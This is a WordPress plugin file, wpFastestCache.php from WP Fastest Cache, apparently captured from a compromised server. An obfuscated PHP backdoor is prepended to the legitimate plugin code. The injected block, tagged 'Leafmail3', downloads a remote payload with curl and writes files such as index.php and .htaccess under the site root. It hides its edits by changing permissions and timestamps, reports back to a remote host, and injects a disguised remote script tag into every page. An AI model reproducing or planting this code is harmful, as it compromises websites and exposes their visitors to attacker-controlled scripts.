Current File : /home/virtualki/22346/wp-content/plugins/wp-fastest-cache/wpFastestCache.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/*
Plugin Name: WP Fastest Cache
Plugin URI: http://wordpress.org/plugins/wp-fastest-cache/
Description: The simplest and fastest WP Cache system
Version: 1.3.1
Author: Emre Vona
Author URI: https://www.wpfastestcache.com/
Text Domain: wp-fastest-cache
Domain Path: /languages/
Copyright (C)2013 Emre Vona
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
*/
if (!defined('WPFC_WP_CONTENT_BASENAME')) {
if (!defined('WPFC_WP_PLUGIN_DIR')) {
if(preg_match("/(\/trunk\/|\/wp-fastest-cache\/)$/", plugin_dir_path( __FILE__ ))){
define("WPFC_WP_PLUGIN_DIR", preg_replace("/(\/trunk\/|\/wp-fastest-cache\/)$/", "", plugin_dir_path( __FILE__ )));
}else if(preg_match("/\\\wp-fastest-cache\/$/", plugin_dir_path( __FILE__ ))){
//D:\hosting\LINEapp\public_html\wp-content\plugins\wp-fastest-cache/
define("WPFC_WP_PLUGIN_DIR", preg_replace("/\\\wp-fastest-cache\/$/", "", plugin_dir_path( __FILE__ )));
}
}
define("WPFC_WP_CONTENT_DIR", dirname(WPFC_WP_PLUGIN_DIR));
define("WPFC_WP_CONTENT_BASENAME", basename(WPFC_WP_CONTENT_DIR));
}
if (!defined('WPFC_MAIN_PATH')) {
define("WPFC_MAIN_PATH", plugin_dir_path( __FILE__ ));
}
if(!isset($GLOBALS["wp_fastest_cache_options"])){
if($wp_fastest_cache_options = get_option("WpFastestCache")){
$GLOBALS["wp_fastest_cache_options"] = json_decode($wp_fastest_cache_options);
}else{
$GLOBALS["wp_fastest_cache_options"] = array();
}
}
function wpfastestcache_activate(){
if($options = get_option("WpFastestCache")){
$post = json_decode($options, true);
include_once('inc/admin.php');
$wpfc = new WpFastestCacheAdmin();
$wpfc->modifyHtaccess($post);
}
}
function wpfastestcache_deactivate(){
$wpfc = new WpFastestCache();
$path = ABSPATH;
if($wpfc->is_subdirectory_install()){
$path = $wpfc->getABSPATH();
}
if(is_file($path.".htaccess") && is_writable($path.".htaccess")){
$htaccess = file_get_contents($path.".htaccess");
$htaccess = preg_replace("/#\s?BEGIN\s?WpFastestCache.*?#\s?END\s?WpFastestCache/s", "", $htaccess);
$htaccess = preg_replace("/#\s?BEGIN\s?GzipWpFastestCache.*?#\s?END\s?GzipWpFastestCache/s", "", $htaccess);
$htaccess = preg_replace("/#\s?BEGIN\s?LBCWpFastestCache.*?#\s?END\s?LBCWpFastestCache/s", "", $htaccess);
$htaccess = preg_replace("/#\s?BEGIN\s?WEBPWpFastestCache.*?#\s?END\s?WEBPWpFastestCache/s", "", $htaccess);
@file_put_contents($path.".htaccess", $htaccess);
}
$wpfc->deleteCache();
}
register_activation_hook( __FILE__, "wpfastestcache_activate");
register_deactivation_hook( __FILE__, "wpfastestcache_deactivate");
class WpFastestCache{
private $systemMessage = "";
private $options = array();
public $noscript = "";
public $content_url = "";
public $deleted_before = false;
public function __construct(){
$this->set_content_url();
$optimize_image_ajax_requests = array("wpfc_revert_image_ajax_request",
"wpfc_statics_ajax_request",
"wpfc_optimize_image_ajax_request",
"wpfc_update_image_list_ajax_request"
);
add_action('wp_ajax_wpfc_delete_cache', array($this, "deleteCacheToolbar"));
add_action('wp_ajax_wpfc_delete_cache_and_minified', array($this, "deleteCssAndJsCacheToolbar"));
add_action('wp_ajax_wpfc_delete_current_page_cache', array($this, "delete_current_page_cache"));
add_action('wp_ajax_wpfc_clear_cache_of_allsites', array($this, "wpfc_clear_cache_of_allsites_callback"));
add_action('wp_ajax_wpfc_toolbar_save_settings', array($this, "wpfc_toolbar_save_settings_callback"));
add_action('wp_ajax_wpfc_toolbar_get_settings', array($this, "wpfc_toolbar_get_settings_callback"));
//add_action('wp_ajax_wpfc_cache_path_save_settings', array($this, "wpfc_cache_path_save_settings_callback"));
add_action( 'wp_ajax_wpfc_save_timeout_pages', array($this, 'wpfc_save_timeout_pages_callback'));
add_action( 'wp_ajax_wpfc_save_exclude_pages', array($this, 'wpfc_save_exclude_pages_callback'));
add_action( 'wp_ajax_wpfc_cdn_options', array($this, 'wpfc_cdn_options_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_remove_cdn_integration', array($this, 'wpfc_remove_cdn_integration_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_pause_cdn_integration', array($this, 'wpfc_pause_cdn_integration_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_start_cdn_integration', array($this, 'wpfc_start_cdn_integration_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_save_cdn_integration', array($this, 'wpfc_save_cdn_integration_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_cdn_template', array($this, 'wpfc_cdn_template_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_check_url', array($this, 'wpfc_check_url_ajax_request_callback'));
add_action( 'wp_ajax_wpfc_cache_statics_get', array($this, 'wpfc_cache_statics_get_callback'));
add_action( 'wp_ajax_wpfc_db_statics', array($this, 'wpfc_db_statics_callback'));
add_action( 'wp_ajax_wpfc_db_fix', array($this, 'wpfc_db_fix_callback'));
add_action( 'rate_post', array($this, 'wp_postratings_clear_fastest_cache'), 10, 2);
add_action( 'user_register', array($this, 'modify_htaccess_for_new_user'), 10, 1);
add_action( 'profile_update', array($this, 'modify_htaccess_for_new_user'), 10, 1);
add_action( 'edit_terms', array($this, 'delete_cache_of_term'), 10, 1);
add_action( 'wp_ajax_wpfc_save_csp', array($this, 'wpfc_save_csp_callback'));
add_action( 'wp_ajax_wpfc_remove_csp', array($this, 'wpfc_remove_csp_callback'));
